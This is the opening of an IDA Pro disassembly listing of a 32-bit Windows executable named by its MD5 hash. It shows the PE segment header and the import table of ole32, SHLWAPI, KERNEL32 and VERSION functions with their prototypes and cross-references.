;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : CC2F861B1C25F7507DF0EA46E4EE5096
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND]
; File Name : u:\work\cc2f861b1c25f7507df0ea46e4ee5096_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 69B10000
; Section 1. (virtual address 00001000)
; Virtual size : 00080510 ( 525584.)
; Section size in file : 00080600 ( 525824.)
; Offset to raw data for section: 00000400
; Flags 60000020: Text Executable Readable
; Alignment : default
;
; Imports from ole32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; HRESULT __stdcall GetHGlobalFromStream(LPSTREAM pstm, HGLOBAL *phglobal)
extrn GetHGlobalFromStream:dword ; CODE XREF: sub_69B55F28+83p
; DATA XREF: sub_69B55F28+83r
; HRESULT __stdcall StringFromCLSID(const CLSID *const rclsid, LPOLESTR *lplpsz)
extrn StringFromCLSID:dword ; CODE XREF: sub_69B71E06+55p
; DATA XREF: sub_69B71E06+55r
; LPVOID __stdcall CoTaskMemAlloc(ULONG cb)
extrn CoTaskMemAlloc:dword ; CODE XREF: sub_69B3ACD6+5Bp
; sub_69B56301+ACp ...
; HRESULT __stdcall CreateBindCtx(DWORD reserved, LPBC *ppbc)
extrn CreateBindCtx:dword ; CODE XREF: sub_69B3A1A9+74p
; sub_69B7DCED+A8p ...
; void __stdcall CoUninitialize()
extrn CoUninitialize:dword ; CODE XREF: StartAddress:loc_69B80CE1p
; DATA XREF: StartAddress:loc_69B80CE1r
; HRESULT __stdcall CoInitialize(LPVOID pvReserved)
extrn CoInitialize:dword ; CODE XREF: StartAddress+17p
; DATA XREF: StartAddress+17r
; HRESULT __stdcall CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm)
extrn CreateStreamOnHGlobal:dword ; CODE XREF: sub_69B46AC0+10Fp
; sub_69B55F28+54p ...
; HRESULT __stdcall CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid)
extrn CLSIDFromProgID:dword ; CODE XREF: sub_69B70DF4+47p
; DATA XREF: sub_69B70DF4+47r
; HRESULT __stdcall CoCreateFreeThreadedMarshaler(LPUNKNOWN punkOuter, LPUNKNOWN *ppunkMarshal)
extrn CoCreateFreeThreadedMarshaler:dword ; CODE XREF: sub_69B88245+Dp
; DATA XREF: sub_69B88245+Dr
; void __stdcall CoTaskMemFree(LPVOID pv)
extrn CoTaskMemFree:dword ; CODE XREF: sub_69B37FBC+D7p
; sub_69B39730+10Fp ...
; HRESULT __stdcall CoCreateInstance(const CLSID *const rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, const IID *const riid, LPVOID *ppv)
extrn CoCreateInstance:dword ; CODE XREF: sub_69B2C68C+33p
; sub_69B2C68C+44p ...
;
; Imports from SHLWAPI.dll
;
extrn SHLWAPI_117:dword ; CODE XREF: sub_69B81DDF+27p
; DATA XREF: sub_69B81DDF+27r
extrn SHLWAPI_56:dword ; DATA XREF: sub_69B80D36+14r
extrn SHLWAPI_136:dword ; CODE XREF: sub_69B80B3C+2Bp
; sub_69B821B6+25p
; DATA XREF: ...
extrn SHLWAPI_60:dword ; CODE XREF: sub_69B80814+16p
; sub_69B80843+35p ...
extrn SHLWAPI_116:dword ; CODE XREF: sub_69B803AC+DFp
; sub_69B80814+25p ...
; LPWSTR __stdcall PathFindExtensionW(LPCWSTR pszPath)
extrn PathFindExtensionW:dword ; CODE XREF: sub_69B7F4D3+43p
; DATA XREF: sub_69B7F4D3+43r
extrn UrlCanonicalizeW:dword ; CODE XREF: sub_69B7EA61+9Dp
; DATA XREF: sub_69B7EA61+9Dr
extrn SHLWAPI_2:dword ; CODE XREF: sub_69B7E79D+55p
; DATA XREF: sub_69B7E79D+55r
; LPWSTR __stdcall PathFindFileNameW(LPCWSTR pszPath)
extrn PathFindFileNameW:dword ; CODE XREF: sub_69B7E79D+7Dp
; DATA XREF: sub_69B7E79D+7Dr
extrn GetAcceptLanguagesW:dword ; CODE XREF: sub_69B7C60C+D4p
; DATA XREF: sub_69B7C60C+D4r
extrn SHLWAPI_311:dword ; CODE XREF: sub_69B74C4C+CBp
; sub_69B74C4C+DEp ...
extrn SHLWAPI_310:dword ; DATA XREF: sub_69B74C4C+AFr
extrn SHLWAPI_125:dword ; CODE XREF: sub_69B71E06+3Fp
; sub_69B71E06+6Ep ...
extrn SHLWAPI_128:dword ; CODE XREF: sub_69B71E06+90p
; sub_69B73743+51p
; DATA XREF: ...
; LPWSTR __stdcall StrCatW(LPWSTR psz1, LPCWSTR psz2)
extrn StrCatW:dword ; CODE XREF: sub_69B5B9EA+4Ep
; DATA XREF: sub_69B5B9EA+4Er
extrn SHLWAPI_26:dword ; CODE XREF: sub_69B4DFFF+37p
; DATA XREF: sub_69B4DFFF+37r
; int __stdcall StrCmpNIA(LPCSTR lpStr1, LPCSTR lpStr2, int nChar)
extrn StrCmpNIA:dword ; CODE XREF: sub_69B3AE56+BBp
; DATA XREF: sub_69B3AE56+BBr
; BOOL __stdcall PathIsURLW(LPCWSTR pszPath)
extrn PathIsURLW:dword ; CODE XREF: sub_69B3A709+E0p
; sub_69B73F00+89p
; DATA XREF: ...
extrn UrlUnescapeW:dword ; CODE XREF: sub_69B3A709+12Cp
; DATA XREF: sub_69B3A709+12Cr
; BOOL __stdcall PathSearchAndQualifyW(LPCWSTR pszPath, LPWSTR pszBuf, UINT cchBuf)
extrn PathSearchAndQualifyW:dword ; CODE XREF: sub_69B3A709+146p
; DATA XREF: sub_69B3A709+146r
extrn UrlCreateFromPathW:dword ; CODE XREF: sub_69B3A709+15Dp
; DATA XREF: sub_69B3A709+15Dr
extrn PathCreateFromUrlW:dword ; CODE XREF: sub_69B3A627+29p
; DATA XREF: sub_69B3A627+29r
extrn UrlIsW:dword ; CODE XREF: sub_69B3A57B+5p
; DATA XREF: sub_69B3A57B+5r
extrn SHLWAPI_52:dword ; CODE XREF: sub_69B39E9F+7Ep
; DATA XREF: sub_69B39E9F+7Er
; LPWSTR __stdcall StrCpyW(LPWSTR psz1, LPCWSTR psz2)
extrn StrCpyW:dword ; CODE XREF: sub_69B37FBC+61p
; sub_69B5B9EA+40p
; DATA XREF: ...
extrn SHLWAPI_68:dword ; CODE XREF: sub_69B2F72E+15Fp
; DATA XREF: sub_69B2F72E+15Fr
; int __stdcall StrToIntW(LPCWSTR lpSrc)
extrn StrToIntW:dword ; CODE XREF: sub_69B7BF93+C1p
; sub_69B7C89C+7Dp
; DATA XREF: ...
; int __stdcall StrCmpNIW(LPCWSTR lpStr1, LPCWSTR lpStr2, int nChar)
extrn StrCmpNIW:dword ; CODE XREF: sub_69B1F708+61p
; sub_69B1F708+109p ...
extrn SHLWAPI_45:dword ; CODE XREF: sub_69B4ACFE-1BE6Dp
; sub_69B64274+2Bp
; DATA XREF: ...
; int __stdcall StrCmpNW(LPCWSTR lpStr1, LPCWSTR lpStr2, int nChar)
extrn StrCmpNW:dword ; CODE XREF: sub_69B2EE46+28p
; sub_69B31FAA+12p ...
extrn SHLWAPI_43:dword ; CODE XREF: sub_69B2F266+13p
; sub_69B2F266+4Cp ...
extrn SHLWAPI_38:dword ; CODE XREF: sub_69B2F202+13p
; sub_69B2F202+4Cp ...
extrn SHLWAPI_51:dword ; CODE XREF: sub_69B19A23+74p
; sub_69B1BCE3+134p
; DATA XREF: ...
extrn SHLWAPI_83:dword ; CODE XREF: sub_69B1CA7C+2Ep
; sub_69B6FD4C+3Fp
; DATA XREF: ...
; int __stdcall StrCmpW(LPCWSTR psz1, LPCWSTR psz2)
extrn StrCmpW:dword ; CODE XREF: sub_69B2CFAA+9Cp
; sub_69B57792+6Dp ...
extrn SHLWAPI_115:dword ; CODE XREF: sub_69B1E3D1+4652p
; sub_69B1906C+C684p
; DATA XREF: ...
;
; Imports from KERNEL32.dll
;
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: sub_69B18CB3+A413p
; DATA XREF: sub_69B18CB3+A413r
; HLOCAL __stdcall LocalAlloc(UINT uFlags, UINT uBytes)
extrn LocalAlloc:dword ; CODE XREF: sub_69B900C5+6p
; DATA XREF: sub_69B900C5+6r
; BOOL __stdcall VirtualProtect(LPVOID lpAddress, DWORD dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
extrn VirtualProtect:dword ; CODE XREF: sub_69B87737+D5p
; DATA XREF: sub_69B87737+D5r
; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest)
extrn LCMapStringW:dword ; CODE XREF: sub_69B1AEC4+27p
; sub_69B1AEC4+110p ...
; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest)
extrn LCMapStringA:dword ; CODE XREF: sub_69B1AEC4+A71Ap
; sub_69B1AEC4+A7AAp ...
; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType)
extrn GetStringTypeW:dword ; CODE XREF: sub_69B1ECB1+24p
; sub_69B1ECB1+EFp
; DATA XREF: ...
; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType)
extrn GetStringTypeA:dword ; CODE XREF: sub_69B1ECB1+67ACp
; DATA XREF: sub_69B1ECB1+67ACr
; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
extrn GetLocaleInfoA:dword ; CODE XREF: sub_69B878AA+17p
; DATA XREF: sub_69B878AA+17r
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, DWORD dwBytes)
extrn HeapReAlloc:dword ; CODE XREF: sub_69B85E8F+27p
; DATA XREF: sub_69B85E8F+27r
; UINT __stdcall GetOEMCP()
extrn GetOEMCP:dword ; CODE XREF: sub_69B1CFE4+8280p
; DATA XREF: sub_69B1CFE4+8280r
; UINT __stdcall GetACP()
extrn GetACP:dword ; CODE XREF: sub_69B1CFE4+42p
; DATA XREF: sub_69B1CFE4+42r
; DWORD __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, DWORD dwLength)
extrn VirtualQuery:dword ; CODE XREF: sub_69B8562A+B3p
; sub_69B87737+1Ap ...
extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; LPWSTR __stdcall GetEnvironmentStringsW()
extrn GetEnvironmentStringsW:dword ; CODE XREF: sub_69B112C0+20p
; sub_69B112C0:loc_69B24F87p
; DATA XREF: ...
; BOOL __stdcall FreeEnvironmentStringsW(LPWSTR)
extrn FreeEnvironmentStringsW:dword ; CODE XREF: sub_69B112C0+A6p
; DATA XREF: sub_69B112C0+A6r
; LPSTR __stdcall GetEnvironmentStrings()
extrn GetEnvironmentStrings:dword ; CODE XREF: sub_69B112C0:loc_69B24FB6p
; DATA XREF: sub_69B112C0:loc_69B24FB6r
; BOOL __stdcall FreeEnvironmentStringsA(LPSTR)
extrn FreeEnvironmentStringsA:dword ; CODE XREF: sub_69B112C0+13D38p
; DATA XREF: sub_69B112C0+13D38r
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo)
extrn GetStartupInfoA:dword ; CODE XREF: sub_69B11383+15p
; DATA XREF: sub_69B11383+15r
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
extrn GetStdHandle:dword ; CODE XREF: sub_69B11383+B151p
; sub_69B84F8F+192p
; DATA XREF: ...
; UINT __stdcall SetHandleCount(UINT uNumber)
extrn SetHandleCount:dword ; CODE XREF: sub_69B11383+B19Cp
; DATA XREF: sub_69B11383+B19Cr
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_69B84D0D+29p
; DATA XREF: sub_69B84D0D+29r
; LPSTR __stdcall GetCommandLineA()
extrn GetCommandLineA:dword ; CODE XREF: sub_69B1B625+B4p
; DATA XREF: sub_69B1B625+B4r
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn CreateThread:dword ; CODE XREF: sub_69B80D8E+44p
; DATA XREF: sub_69B80D8E+44r
; BOOL __stdcall SetThreadPriority(HANDLE hThread, int nPriority)
extrn SetThreadPriority:dword ; CODE XREF: StartAddress+26p
; DATA XREF: StartAddress+26r
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_69B7FB0F+89p
; sub_69B80FE6+C7p
; DATA XREF: ...
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, DWORD dwBytes)
extrn GlobalAlloc:dword ; CODE XREF: sub_69B7F86E+83p
; DATA XREF: sub_69B7F86E+83r
; LPWSTR __stdcall lstrcatW(LPWSTR lpString1, LPCWSTR lpString2)
extrn lstrcatW:dword ; CODE XREF: sub_69B7F4D3+7Cp
; DATA XREF: sub_69B7F4D3+7Cr
; LPVOID __stdcall GlobalLock(HGLOBAL hMem)
extrn GlobalLock:dword ; CODE XREF: sub_69B55F28+D8p
; DATA XREF: sub_69B55F28+D8r
; BOOL __stdcall GlobalUnlock(HGLOBAL hMem)
extrn GlobalUnlock:dword ; CODE XREF: sub_69B55F28+F4p
; DATA XREF: sub_69B55F28+F4r
; LCID __stdcall GetSystemDefaultLCID()
extrn GetSystemDefaultLCID:dword ; CODE XREF: sub_69B73818p
; sub_69B79731+B9p ...
; LCID __stdcall GetThreadLocale()
extrn GetThreadLocale:dword ; CODE XREF: sub_69B3C634+3Ep
; sub_69B41554+51p ...
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
extrn SetEndOfFile:dword ; CODE XREF: sub_69B3A12F+3Ap
; DATA XREF: sub_69B3A12F+3Ar
; LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2)
extrn lstrcpyA:dword ; CODE XREF: sub_69B2B23E+6Ep
; sub_69B2B4A9+B3p ...
; int __stdcall lstrlenA(LPCSTR lpString)
extrn lstrlenA:dword ; CODE XREF: sub_69B2B23E+10p
; sub_69B2B4A9+19Ap ...
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
extrn GetProcAddress:dword ; CODE XREF: sub_69B1AA33+13Cp
; sub_69B1CA7C+4Ep ...
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn LoadLibraryA:dword ; CODE XREF: sub_69B1AA33+E5p
; sub_69B2B3A0+Ep ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
extrn FreeLibrary:dword ; CODE XREF: sub_69B1AA33+186p
; sub_69B2B3FC+Ap ...
; LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
extrn lstrcatA:dword ; CODE XREF: sub_69B2B4A9+18Dp
; DATA XREF: sub_69B2B4A9+18Dr
; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cchMultiByte, LPWSTR lpWideCharStr, int cchWideChar)
extrn MultiByteToWideChar:dword ; CODE XREF: sub_69B1AEC4+A8p
; sub_69B1AEC4+F6p ...
; int __stdcall lstrcmpA(LPCSTR lpString1, LPCSTR lpString2)
extrn lstrcmpA:dword ; CODE XREF: sub_69B2B4A9+95p
; sub_69B2BC2E+6Dp
; DATA XREF: ...
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_69B2BF77+7Bp
; DATA XREF: sub_69B2BF77+7Br
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize)
extrn GetModuleFileNameA:dword ; CODE XREF: sub_69B1B814+32p
; sub_69B1CF24+2Ap ...
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
extrn TlsSetValue:dword ; DATA XREF: sub_69B1CA7C+85r
; sub_69B1CD73+6Dr ...
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
extrn TlsGetValue:dword ; DATA XREF: sub_69B1CA7C:loc_69B1CAF0r
; sub_69B1CD73+63r ...
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode)
extrn TerminateProcess:dword ; CODE XREF: sub_69B2C4E2+65p
; DATA XREF: sub_69B2C4E2+65r
; HANDLE __stdcall GetCurrentProcess()
extrn GetCurrentProcess:dword ; CODE XREF: sub_69B1CCCB+14p
; sub_69B1CCCB+1Ep ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn GetModuleHandleA:dword ; CODE XREF: sub_69B1CA7C+DDp
; sub_69B1CD73+14p ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
extrn QueryPerformanceCounter:dword ; CODE XREF: sub_69B1E686+43p
; DATA XREF: sub_69B1E686+43r
; DWORD __stdcall GetTickCount()
extrn GetTickCount:dword ; CODE XREF: sub_69B1E686+37p
; sub_69B2DCDC+48p ...
; DWORD __stdcall GetCurrentThreadId()
extrn GetCurrentThreadId:dword ; CODE XREF: sub_69B1CCCB+27p
; sub_69B1CD73+D0p ...
; DWORD __stdcall GetCurrentProcessId()
extrn GetCurrentProcessId:dword ; CODE XREF: sub_69B1E686+27p
; DATA XREF: sub_69B1E686+27r
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
extrn GetSystemTimeAsFileTime:dword ; CODE XREF: sub_69B1E686+1Bp
; DATA XREF: sub_69B1E686+1Br
; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
extrn InterlockedDecrement:dword ; CODE XREF: sub_69B18381+Ep
; sub_69B18381+14p ...
; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_69B1808E+10p
; sub_69B1808E+16p ...
; int __stdcall lstrlenW(LPCWSTR lpString)
extrn lstrlenW:dword ; CODE XREF: sub_69B11E05+6p
; sub_69B1A587+Ap ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_69B1B532+19p
; sub_69B1B625+71p ...
; DWORD __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem)
extrn HeapSize:dword ; CODE XREF: sub_69B2D461+1Fp
; sub_69B2D4AB+Bp
; DATA XREF: ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, DWORD dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_69B1127C+10p
; sub_69B19587+34p ...
; BOOL __stdcall VirtualFree(LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType)
extrn VirtualFree:dword ; CODE XREF: sub_69B1A48F-3Ap
; sub_69B23A13+30p ...
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
extrn VirtualAlloc:dword ; CODE XREF: sub_69B19D0A+33p
; sub_69B19D0A+5Cp ...
; HANDLE __stdcall GetProcessHeap()
extrn GetProcessHeap:dword ; CODE XREF: sub_69B1ABCCp
; sub_69B1B625+1Ep ...
; BOOL __stdcall DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
extrn DuplicateHandle:dword ; CODE XREF: sub_69B1CCCB+21p
; DATA XREF: sub_69B1CCCB+21r
; HANDLE __stdcall GetCurrentThread()
extrn GetCurrentThread:dword ; CODE XREF: sub_69B1CCCB+17p
; StartAddress+1Fp
; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_69B12110+6p
; sub_69B1AE5D+3Cp ...
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
extrn GetVersionExA:dword ; CODE XREF: sub_69B1B625+38p
; sub_69B1CA7C+B9p
; DATA XREF: ...
; DWORD __stdcall TlsAlloc()
extrn TlsAlloc:dword ; CODE XREF: .text:loc_69B112B7p
; sub_69B1CA7C+A3p
; DATA XREF: ...
; BOOL __stdcall TlsFree(DWORD dwTlsIndex)
extrn TlsFree:dword ; CODE XREF: sub_69B1E5CC+11p
; DATA XREF: sub_69B1CD73+77r ...
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
extrn GetThreadContext:dword ; CODE XREF: sub_69B2D61C+8p
; DATA XREF: sub_69B2D61C+8r
; LONG __stdcall InterlockedExchange(LPLONG Target, LONG Value)
extrn InterlockedExchange:dword ; CODE XREF: sub_69B120DB+13p
; sub_69B18921+14p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: sub_69B18980+A4BCp
; sub_69B1737D+BB92p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: .text:69B2D964p
; sub_69B2DA88+14p ...
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: sub_69B18CB3+A437p
; sub_69B18CB3+A4B6p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_69B1E533+659Ap
; sub_69B2DB17+B5p ...
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_69B1BCE3+141p
; sub_69B2DB17+23p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_69B113FC+17p
; sub_69B1DBFF+17p ...
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_69B1C3B2+4p
; sub_69B1D1C5+Bp ...
; void __stdcall OutputDebugStringA(LPCSTR lpOutputString)
extrn OutputDebugStringA:dword ; CODE XREF: sub_69B1AE5D+85CFp
; sub_69B19B0D+997Ap
; DATA XREF: ...
; BOOL __stdcall ReleaseSemaphore(HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount)
extrn ReleaseSemaphore:dword ; CODE XREF: sub_69B2DE1A+1Dp
; DATA XREF: sub_69B2DE1A+1Dr
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_69B1A509+3Fp
; sub_69B1B766+3Fp ...
; HANDLE __stdcall CreateSemaphoreA(LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCSTR lpName)
extrn CreateSemaphoreA:dword ; CODE XREF: sub_69B19B0D+37p
; DATA XREF: sub_69B19B0D+37r
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_69B1BB5E+2Ap
; sub_69B1DA6C+23p ...
; BOOL __stdcall HeapDestroy(HANDLE hHeap)
extrn HeapDestroy:dword ; CODE XREF: sub_69B11F65+13p
; sub_69B1ADE2+6Bp ...
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_69B1AC42:loc_69B2387Ap
; sub_69B112C0:loc_69B24F66p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, DWORD dwInitialSize, DWORD dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_69B1AC42+3Dp
; sub_69B1AC42+C0p ...
; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
extrn GetSystemInfo:dword ; CODE XREF: sub_69B1ABFE+Ap
; sub_69B1AC42+1Bp ...
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_69B1AC42+8C17p
; sub_69B1AC42+8C26p ...
; void __stdcall DebugBreak()
extrn DebugBreak:dword ; CODE XREF: sub_69B1B1F3:loc_69B238C8p
; sub_69B11E93:loc_69B238E5p ...
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const DWORD *lpArguments)
extrn RaiseException:dword ; CODE XREF: sub_69B1AA33+AD53p
; sub_69B1AA33+ADBAp ...
; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cchMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar)
extrn WideCharToMultiByte:dword ; CODE XREF: sub_69B112C0+75p
; sub_69B112C0+97p ...
; DWORD __stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart)
extrn GetFullPathNameA:dword ; CODE XREF: sub_69B1B938+29p
; DATA XREF: sub_69B1B938+29r
; DWORD __stdcall SizeofResource(HMODULE hModule, HRSRC hResInfo)
extrn SizeofResource:dword ; CODE XREF: sub_69B2F67F+4Ep
; DATA XREF: sub_69B2F67F+4Er
; LPVOID __stdcall LockResource(HGLOBAL hResData)
extrn LockResource:dword ; CODE XREF: sub_69B2F67F+3Bp
; DATA XREF: sub_69B2F67F+3Br
; HGLOBAL __stdcall LoadResource(HMODULE hModule, HRSRC hResInfo)
extrn LoadResource:dword ; CODE XREF: sub_69B2F67F+30p
; DATA XREF: sub_69B2F67F+30r
; HRSRC __stdcall FindResourceA(HMODULE hModule, LPCSTR lpName, LPCSTR lpType)
extrn FindResourceA:dword ; CODE XREF: sub_69B2F67F+1Dp
; DATA XREF: sub_69B2F67F+1Dr
; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
extrn LoadLibraryExA:dword ; CODE XREF: sub_69B1B814+CAp
; DATA XREF: sub_69B1B814+CAr
; DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments)
extrn FormatMessageA:dword ; CODE XREF: sub_69B1D411+30p
; sub_69B1D411+6916p ...
; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime)
extrn FileTimeToSystemTime:dword ; CODE XREF: sub_69B2FF1E+33Fp
; DATA XREF: sub_69B2FF1E+33Fr
; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime)
extrn SystemTimeToFileTime:dword ; CODE XREF: sub_69B2FF1E+2ABp
; DATA XREF: sub_69B2FF1E+2ABr
; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo)
extrn GetCPInfo:dword ; CODE XREF: sub_69B19189+14p
; sub_69B1D0A4+32p ...
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
extrn WriteFile:dword ; CODE XREF: sub_69B39DB6+15p
; sub_69B84F8F+1B9p
; DATA XREF: ...
; DWORD __stdcall GetFileType(HANDLE hFile)
extrn GetFileType:dword ; CODE XREF: sub_69B11383+B15Fp
; sub_69B11383+13AC2p ...
; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
extrn SetFilePointer:dword ; CODE XREF: sub_69B39E9F+D4p
; DATA XREF: sub_69B39E9F+D4r
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn CreateFileA:dword ; CODE XREF: sub_69B39E9F+B3p
; DATA XREF: sub_69B39E9F+B3r
; BOOL __stdcall FlushFileBuffers(HANDLE hFile)
extrn FlushFileBuffers:dword ; CODE XREF: sub_69B3A007+26p
; sub_69B3A12F+43p
; DATA XREF: ...
; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
extrn ReadFile:dword ; CODE XREF: sub_69B3A038+35p
; DATA XREF: sub_69B3A038+35r
;
; Imports from VERSION.dll
;
; BOOL __stdcall GetFileVersionInfoA(LPSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
extrn __imp_GetFileVersionInfoA:dword ; DATA XREF: GetFileVersionInfoAr
